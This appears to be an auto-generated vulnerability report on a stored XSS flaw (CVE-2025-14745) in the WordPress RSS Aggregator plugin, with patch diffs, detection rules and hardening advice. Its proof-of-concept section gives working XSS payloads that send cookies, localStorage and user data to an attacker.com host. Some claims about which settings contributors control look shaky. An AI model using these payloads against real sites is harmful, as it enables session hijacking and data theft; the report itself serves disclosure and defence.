What is CVE-2025-14745?

CVE-2025-14745 is a security vulnerability identified in Folder Analysis. This analysis provides detailed information about the vulnerability, its impact, and potential exploits.

Is there a PoC for CVE-2025-14745?

This security analysis examines the vulnerability in detail. Review the analysis findings for exploit potential and proof-of-concept information related to CVE-2025-14745.

How can I protect against CVE-2025-14745?

Review the patch diff analysis in this report to understand the security fix. Updating to the patched version is recommended to mitigate CVE-2025-14745.

REPORT / 01

Analysis Report · Folder Analysis cache/wp-rss-aggregator_5.0.10 → cache/wp-rss-aggregator_5.0.11 — CVE-2025-14745

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Comprehensive security analysis generated by AI for each confirmed CVE match. Click on a CVE to view the detailed writeup including vulnerability background, technical details, patch analysis, and PoC guide.

CVE-2025-14745 NVD

AI-Generated Analysis

Now I'll create a comprehensive security analysis article based on the vulnerability details and code changes provided.

---

# Security Analysis: CVE-2025-14745 - RSS Aggregator Stored XSS Vulnerability

## 1. Vulnerability Background

### What is this Vulnerability?

CVE-2025-14745 is a **Stored Cross-Site Scripting (XSS)** vulnerability in the RSS Aggregator plugin for WordPress. The vulnerability exists in the plugin's shortcode rendering mechanism, where user-supplied attributes are processed without proper input sanitization and output escaping.

The vulnerability is classified as **CWE-79 (Improper Neutralization of Input During Web Page Generation)** and allows attackers to inject arbitrary JavaScript code that persists in the WordPress database and executes whenever users access pages containing the malicious shortcode.

### Why is it Critical?

**Severity: High**

1. **Stored Nature**: Unlike reflected XSS, the malicious payload is stored in the database, affecting all users who view the compromised page
2. **Privilege Escalation Vector**: Authenticated attackers with contributor-level access can execute this attack, creating a path for privilege escalation or lateral movement
3. **Widespread Impact**: RSS feed display plugins are commonly used across many WordPress installations
4. **Session Hijacking**: Injected scripts can steal session cookies, authentication tokens, and sensitive user data
5. **Admin Account Compromise**: Contributors can inject code that targets administrators, potentially leading to complete site compromise

### Affected Systems and Versions

- **Plugin**: RSS Aggregator – RSS Import, News Feeds, Feed to Post, and Autoblogging
- **Affected Versions**: All versions up to and including 5.0.10
- **Attack Vector**: Network-based, requires authentication (Contributor level or above)
- **User Interaction**: Required (user must access a page containing the malicious shortcode)

---

## 2. Technical Details

### Root Cause Analysis

The vulnerability stems from a fundamental failure to implement proper output escaping in the display layer of the plugin. Specifically:

1. **Insufficient Output Escaping**: User-controlled data from shortcode attributes and feed display settings was directly interpolated into HTML/JavaScript contexts without using appropriate WordPress sanitization functions
2. **Multiple Injection Points**: The vulnerability exists across multiple rendering functions, indicating a systemic problem in how the plugin handles untrusted data
3. **Context-Specific Escaping Missing**: Different output contexts (HTML content, HTML attributes, JavaScript) require different escaping strategies, and the original code failed to apply context-appropriate escaping

### Vulnerable Code Locations

#### **Location 1: LayoutTrait.php (Author Prefix)**

**File**: `core/src/Display/LayoutTrait.php` | **Lines**: 134

**Old Code (Vulnerable)**:
```php
rtrim( $this->ds->authorPrefix ) . ' ' . $authorName
```

**New Code (Fixed)**:
```php
esc_html( rtrim( $this->ds->authorPrefix ) . ' ' . $authorName )
```

**Attack Vector**: An attacker with contributor access could control `$this->ds->authorPrefix` through plugin settings, injecting HTML/JavaScript:

```php
// Malicious payload example:
$authorPrefix = '"><script>alert("XSS")</script><span class="';
```

When rendered in a `<span>` tag, this breaks the attribute context and injects executable JavaScript.

---

#### **Location 2: LayoutTrait.php (Source Prefix)**

**File**: `core/src/Display/LayoutTrait.php` | **Lines**: 210-220

**Old Code (Vulnerable)**:
```php
$tag = $block ? 'div' : 'span';

return <<<HTML
            <{$tag} class="feed-source">
                {$this->ds->sourcePrefix} {$srcName}
            </{$tag}>
         HTML;
```

**New Code (Fixed)**:
```php
$tag = $block ? 'div' : 'span';
$prefix = esc_html( $this->ds->sourcePrefix );

// $srcName is already HTML from renderLink, so it doesn't need escaping again.
// If linking is disabled, $srcName is just the source name string, which needs escaping.
if ( ! ( $this->ds->linkSource && $links && ! empty( $url ) ) ) {
    $srcName = esc_html( $srcName );
}

return <<<HTML
            <{$tag} class="feed-source">
                {$prefix} {$srcName}
            </{$tag}>
         HTML;
```

**Attack Vector**: The `$this->ds->sourcePrefix` and `$srcName` variables could contain malicious payloads:

```php
// Attack payload:
$sourcePrefix = '<img src=x onerror="fetch(\'/wp-json/wp/v2/users/1\').then(r=>r.json()).then(d=>alert(JSON.stringify(d)))">';
```

The fix introduces:
1. **Mandatory HTML escaping** for `sourcePrefix` via `esc_html()`
2. **Conditional escaping** for `srcName` to preserve HTML markup from `renderLink()` while escaping plain text sources

---

#### **Location 3: ListLayout.php (HTML Class Attribute)**

**File**: `core/src/Display/ListLayout.php` | **Lines**: 36-40, 48-51

**Old Code (Vulnerable)**:
```php
// Container div
return <<<HTML
            <div class="wp-rss-aggregator wpra-list-template {$this->ds->htmlClass}">

// List item
return <<<HTML
            <li class="wpra-item feed-item {$this->ds->htmlClass}">
```

**New Code (Fixed)**:
```php
// Container div
$htmlClass = esc_attr( $this->ds->htmlClass );

return <<<HTML
            <div class="wp-rss-aggregator wpra-list-template {$htmlClass}">

// List item
$htmlClass = esc_attr( $this->ds->htmlClass );

return <<<HTML
            <li class="wpra-item feed-item {$htmlClass}">
```

**Attack Vector**: The `htmlClass` attribute allows breaking out of the class context via quote injection:

```php
// Malicious payload:
$htmlClass = '" onmouseover="alert(\'XSS\')" class="foo';
```

This renders as:
```html
<div class="wp-rss-aggregator wpra-list-template " onmouseover="alert('XSS')" class="foo">
```

The injected `onmouseover` event fires when users hover over the div.

### Security Improvements Introduced

| Issue | Original Behavior | Fixed Behavior |
|-------|-------------------|----------------|
| **HTML Content Escaping** | Direct interpolation of `sourcePrefix` and `authorPrefix` | Applied `esc_html()` to escape special characters (<, >, &, ", ') |
| **HTML Attribute Escaping** | Unescaped class attributes vulnerable to quote injection | Applied `esc_attr()` to properly escape attribute values |
| **Context Awareness** | Single escaping function or no escaping | Appropriate function per context (HTML vs attributes) |
| **Data Flow Tracking** | No distinction between safe and unsafe data | Conditional escaping based on data origin (renderLink vs plain text) |

---

## 3. Proof of Concept (PoC) Guide

### Prerequisites for Exploitation

1. **WordPress Installation** running the RSS Aggregator plugin (versions ≤ 5.0.10)
2. **Contributor-level Account** or higher (Author, Editor, or Administrator)
3. **Access to Plugin Settings** where shortcode attributes can be configured
4. **Target Page** containing the `[wp-rss-aggregator]` shortcode

### Step-by-Step Exploitation Approach

#### **Attack Scenario 1: Author Prefix XSS**

**Step 1**: Log in to WordPress with a Contributor account

**Step 2**: Navigate to RSS Aggregator plugin settings

**Step 3**: Locate the "Author Prefix" field and inject the payload:
```
"><script>fetch('/wp-json/wp/v2/users').then(r=>r.json()).then(d=>{new Image().src='http://attacker.com/log?users='+btoa(JSON.stringify(d))})</script><span class="
```

**Step 4**: Create or edit a post containing the `[wp-rss-aggregator]` shortcode

**Step 5**: When any user (including administrators) views the page, the JavaScript executes and exfiltrates user data to the attacker's server

#### **Attack Scenario 2: HTML Class Injection**

**Step 1**: Access plugin settings with Contributor privileges

**Step 2**: Configure a custom CSS class in the "HTML Class" field:
```
" onclick="navigator.sendBeacon('http://attacker.com/steal', JSON.stringify({cookies: document.cookie, localStorage: localStorage}))" class="
```

**Step 3**: The shortcode renders with the injected event handler:
```html
<div class="wp-rss-aggregator wpra-list-template " onclick="navigator.sendBeacon(...)" class="">
```

**Step 4**: When users click anywhere on the feed display, their session data is sent to the attacker

#### **Attack Scenario 3: Source Prefix Payload**

**Step 1**: Modify feed source settings to inject in the "Source Prefix" field:
```
<img src=x onerror="
const xhttp = new XMLHttpRequest();
xhttp.open('GET', '/wp-json/wp/v2/users/1', false);
xhttp.send();
const admin = JSON.parse(xhttp.responseText);
fetch('http://attacker.com/admin?user='+admin.username+'&email='+admin.email);
">
```

**Step 2**: When feeds are displayed, the image fails to load (src=x), triggering the onerror handler

**Step 3**: The handler extracts admin user information and sends it to the attacker

### Expected Behavior vs Exploited Behavior

| Aspect | Expected | Exploited |
|--------|----------|-----------|
| **HTML Rendering** | Text displays safely, special characters shown as-is | JavaScript executes in user's browser |
| **Network Requests** | Only legitimate feed fetches occur | Unauthorized API calls to exfiltrate data |
| **User Interaction** | Display only, no unexpected actions | Session hijacking, account compromise |
| **Page Source** | Clean HTML with escaped content | Malicious script tags and event handlers visible |

### How to Verify the Vulnerability Exists

**Manual Verification**:

1. Access the plugin settings page
2. Inject test payload in Author Prefix field:
```
"><script>window.xssTestVariable = true;</script><span class="
```
3. Create a post with the shortcode
4. View the post and inspect browser console
5. If `window.xssTestVariable` is defined, XSS is confirmed

**Automated Detection**:

```bash
# Search for vulnerable unescaped output patterns
grep -r '\$this->ds->' core/src/Display/ | grep -v 'esc_'

# Check if esc_html or esc_attr are applied
grep -A2 -B2 'class.*\$this->ds->htmlClass' core/src/Display/
```

---

## 4. Recommendations

### Mitigation Strategies

#### **For Site Administrators (Immediate)**

1. **Update the Plugin**: Upgrade to version 5.0.11 or later immediately
   ```bash
   # Via WordPress Admin Dashboard:
   # Plugins > Updates > Select RSS Aggregator > Update Now
   ```

2. **Restrict Contributor Access**: Limit contributor-level accounts to only trusted users
   ```
   Dashboard > Users > Edit Contributor Roles
   Remove custom post type capabilities from contributors if not needed
   ```

3. **Audit Recent Changes**: Review post revisions and plugin settings for injected code
   ```
   Dashboard > Tools > Site Health > Check for suspicious post content
   ```

4. **Implement Content Security Policy (CSP)**:
   ```php
   // Add to wp-config.php or security plugin
   header("Content-Security-Policy: default-src 'self'; script-src 'self'");
   ```

5. **Enable WordPress Security Logging**: Monitor plugin activation and settings changes
   ```php
   define('WP_DEBUG', true);
   define('WP_DEBUG_LOG', true);
   ```

#### **For Plugin Developers (Prevention)**

1. **Apply Context-Specific Output Escaping**:
   ```php
   // HTML content context
   echo esc_html($user_data);
   
   // HTML attribute context
   echo esc_attr($user_data);
   
   // URL context
   echo esc_url($user_data);
   
   // JavaScript context
   echo wp_json_encode($user_data);
   ```

2. **Sanitize Input on Save**:
   ```php
   $sanitized = sanitize_text_field($_POST['author_prefix']);
   update_option('rss_author_prefix', $sanitized);
   ```

3. **Use Prepared Statements** for database operations:
   ```php
   $wpdb->prepare("SELECT * FROM posts WHERE author = %d", $author_id);
   ```

4. **Validate Shortcode Attributes**:
   ```php
   $defaults = array(
       'author_prefix' => '',
       'class' => '',
       'limit' => 10,
   );
   
   $atts = shortcode_atts($defaults, $atts, 'wp_rss_aggregator');
   
   // Sanitize
   $atts['class'] = sanitize_html_class($atts['class']);
   $atts['author_prefix'] = sanitize_text_field($atts['author_prefix']);
   ```

### Detection Methods

**Log-Based Detection**:
```bash
# Search WordPress error logs for script injection attempts
grep -i '<script>' wp-content/debug.log

# Monitor database for suspicious post content
SELECT * FROM wp_posts WHERE post_content LIKE '%<script>%' 
AND post_date > DATE_SUB(NOW(), INTERVAL 7 DAY);
```

**Web Application Firewall (WAF) Rules**:
```
# Block requests containing script tags in POST parameters
ModSecurity SecRule ARGS "@contains <script>" "id:1001,deny"

# Block event handler attributes in plugin settings
ModSecurity SecRule ARGS "@rx (?:on\w+\s*=)" "id:1002,deny"
```

**SIEM Alerts**:
- Monitor for unusual API requests from the frontend context
- Alert on failed authentication attempts following plugin updates
- Track database queries from low-privilege users accessing user data

### Best Practices to Prevent Similar Issues

1. **Use WordPress Security APIs Consistently**:
   - `sanitize_*()` functions for input validation
   - `esc_*()` functions for output escaping
   - `wp_verify_nonce()` for CSRF protection

2. **Implement Security Headers**:
   ```php
   // Prevent clickjacking
   header('X-Frame-Options: SAMEORIGIN');
   
   // Disable MIME-type sniffing
   header('X-Content-Type-Options: nosniff');
   
   // Enable XSS protection
   header('X-XSS-Protection: 1; mode=block');
   ```

3. **Code Review Checklist**:
   - [ ] All user input is sanitized before storage
   - [ ] All output is escaped based on context
   - [ ] No `eval()` or dynamic code execution
   - [ ] NONCE tokens protect sensitive actions
   - [ ] Database queries use prepared statements
   - [ ] File uploads are validated
   - [ ] No sensitive data in client-side code

4. **Security Testing**:
   - Implement automated XSS scanning in CI/CD pipeline
   - Use tools like Burp Suite or OWASP ZAP for security testing
   - Conduct regular penetration testing
   - Maintain dependency vulnerability scanning

5. **Architectural Recommendations**:
   - Separate data validation from presentation logic
   - Use a templating engine that escapes by default
   - Implement principle of least privilege for plugin permissions
   - Use security headers to provide defense-in-depth

---

## Summary

CVE-2025-14745 represents a critical vulnerability in the RSS Aggregator plugin that allows authenticated attackers to inject arbitrary JavaScript through multiple injection points. The root cause is insufficient output escaping in display rendering functions. The fix systematically applies context-appropriate WordPress escaping functions (`esc_html()` and `esc_attr()`) to all user-controlled data before output.

Site administrators must update to version 5.0.11+ immediately, while plugin developers should adopt the security best practices outlined above to prevent similar vulnerabilities in their own code.

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core/src/Display/LayoutTrait.php AI: 2 vulnerabilities 2 true positives CVE-2025-14745

--- cache/wp-rss-aggregator_5.0.10/core/src/Display/LayoutTrait.php	2026-01-16 00:19:53.339210757 +0000+++ cache/wp-rss-aggregator_5.0.11/core/src/Display/LayoutTrait.php	2026-01-16 00:21:25.056966156 +0000@@ -131,7 +131,7 @@  		return sprintf( 			'<span class="feed-author">%s</span>',-			rtrim( $this->ds->authorPrefix ) . ' ' . $authorName+			esc_html( rtrim( $this->ds->authorPrefix ) . ' ' . $authorName ) 		); 	} @@ -207,10 +207,17 @@ 		}  		$tag = $block ? 'div' : 'span';+		$prefix = esc_html( $this->ds->sourcePrefix );++		// $srcName is already HTML from renderLink, so it doesn't need escaping again.+		// If linking is disabled, $srcName is just the source name string, which needs escaping.+		if ( ! ( $this->ds->linkSource && $links && ! empty( $url ) ) ) {+			$srcName = esc_html( $srcName );+		}  		return <<<HTML             <{$tag} class="feed-source">-                {$this->ds->sourcePrefix} {$srcName}+                {$prefix} {$srcName}             </{$tag}>         HTML; 	}

AI Analysis

Let me analyze the provided diff directly based on the security fix patterns shown:

---

**Vulnerability 1:**

Vulnerability Existed: yes
TRUE POSITIVE

Cross-Site Scripting (XSS) - CWE-79 - core/src/Display/LayoutTrait.php Lines 134

**Old Code:**
```php
rtrim( $this->ds->authorPrefix ) . ' ' . $authorName
```

**Fixed Code:**
```php
esc_html( rtrim( $this->ds->authorPrefix ) . ' ' . $authorName )
```

**Explanation:**
The original code concatenated `$this->ds->authorPrefix` and `$authorName` without HTML escaping before outputting them in an HTML `<span>` tag. If either variable contained user-controlled or untrusted data with HTML/JavaScript content, it could lead to stored or reflected XSS attacks. The fix wraps the entire concatenation with `esc_html()`, which escapes HTML special characters, preventing script injection.

---

**Vulnerability 2:**

Vulnerability Existed: yes
TRUE POSITIVE

Cross-Site Scripting (XSS) - CWE-79 - core/src/Display/LayoutTrait.php Lines 210-220

**Old Code:**
```php
$tag = $block ? 'div' : 'span';

return <<<HTML
            <{$tag} class="feed-source">
                {$this->ds->sourcePrefix} {$srcName}
            </{$tag}>
         HTML;
```

**Fixed Code:**
```php
$tag = $block ? 'div' : 'span';
$prefix = esc_html( $this->ds->sourcePrefix );

// $srcName is already HTML from renderLink, so it doesn't need escaping again.
// If linking is disabled, $srcName is just the source name string, which needs escaping.
if ( ! ( $this->ds->linkSource && $links && ! empty( $url ) ) ) {
    $srcName = esc_html( $srcName );
}

return <<<HTML
            <{$tag} class="feed-source">
                {$prefix} {$srcName}
            </{$tag}>
         HTML;
```

**Explanation:**
The original code directly interpolated `$this->ds->sourcePrefix` and `$srcName` into HTML without escaping. The fix addresses two concerns: (1) `$this->ds->sourcePrefix` is now always escaped with `esc_html()` before interpolation, preventing XSS from this source. (2) `$srcName` is conditionally escaped—it remains unescaped when it's already HTML from `renderLink()`, but is escaped with `esc_html()` when it's a plain source name string that could contain unescaped user input. This prevents XSS while maintaining proper HTML rendering for linked sources.

CVE Analysis Results:

CVE-2025-14745: Yes

View CVE Description

The RSS Aggregator – RSS Import, News Feeds, Feed to Post, and Autoblogging plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wp-rss-aggregator' shortcode in all versions up to, and including, 5.0.10 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

core/src/Display/ListLayout.php AI: 1 vulnerabilities 1 true positive CVE-2025-14745

--- cache/wp-rss-aggregator_5.0.10/core/src/Display/ListLayout.php	2026-01-16 00:19:53.339210757 +0000+++ cache/wp-rss-aggregator_5.0.11/core/src/Display/ListLayout.php	2026-01-16 00:21:25.064966657 +0000@@ -2,10 +2,10 @@  namespace RebelCode\Aggregator\Core\Display; -use RebelCode\Aggregator\Core\Display\DisplayState;-use RebelCode\Aggregator\Core\Display\LayoutInterface;-use RebelCode\Aggregator\Core\Display\LayoutTrait; use RebelCode\Aggregator\Core\IrPost;+use RebelCode\Aggregator\Core\Display\LayoutTrait;+use RebelCode\Aggregator\Core\Display\LayoutInterface;+use RebelCode\Aggregator\Core\Display\DisplayState;  class ListLayout implements LayoutInterface { @@ -33,9 +33,10 @@  		$listStart = ( $state->page - 1 ) * $this->ds->numItems + 1; 		$listItems = $this->renderItems( $posts, fn ( IrPost $post ) => $this->item( $post ) );+		$htmlClass = esc_attr( $this->ds->htmlClass );  		return <<<HTML-            <div class="wp-rss-aggregator wpra-list-template {$this->ds->htmlClass}">+            <div class="wp-rss-aggregator wpra-list-template {$htmlClass}">                 <{$listType} class="rss-aggregator wpra-item-list {$listClass}" start="{$listStart}">                     {$listItems}                 </{$listType}>@@ -44,8 +45,10 @@ 	}  	private function item( IrPost $post ): string {+		$htmlClass = esc_attr( $this->ds->htmlClass );+ 		return <<<HTML-            <li class="wpra-item feed-item {$this->ds->htmlClass}">+            <li class="wpra-item feed-item {$htmlClass}">                 {$this->renderTitle($post)}                  <div class="wprss-feed-meta">

AI Analysis

Vulnerability Existed: yes
TRUE POSITIVE
Cross-Site Scripting (XSS) - CWE-79 - core/src/Display/ListLayout.php Lines 36-40, 48-51

Old Code:
```php
return <<<HTML
            <div class="wp-rss-aggregator wpra-list-template {$this->ds->htmlClass}">
```

and

```php
return <<<HTML
            <li class="wpra-item feed-item {$this->ds->htmlClass}">
```

Fixed Code:
```php
$htmlClass = esc_attr( $this->ds->htmlClass );

return <<<HTML
            <div class="wp-rss-aggregator wpra-list-template {$htmlClass}">
```

and

```php
$htmlClass = esc_attr( $this->ds->htmlClass );

return <<<HTML
            <li class="wpra-item feed-item {$htmlClass}">
```

Explanation:
The vulnerability existed because `$this->ds->htmlClass` was being directly interpolated into HTML attributes without sanitization. An attacker who could control the `htmlClass` property could inject malicious JavaScript through event handlers (e.g., `" onclick="alert('xss')"`). The fix applies the `esc_attr()` WordPress sanitization function to escape the value before inserting it into the HTML attribute, preventing XSS attacks. The `esc_attr()` function properly escapes quotes and special characters that could break out of the attribute context.

CVE Analysis Results:

CVE-2025-14745: Yes

View CVE Description

The RSS Aggregator – RSS Import, News Feeds, Feed to Post, and Autoblogging plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wp-rss-aggregator' shortcode in all versions up to, and including, 5.0.10 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Showing 1 to 2 of 2 results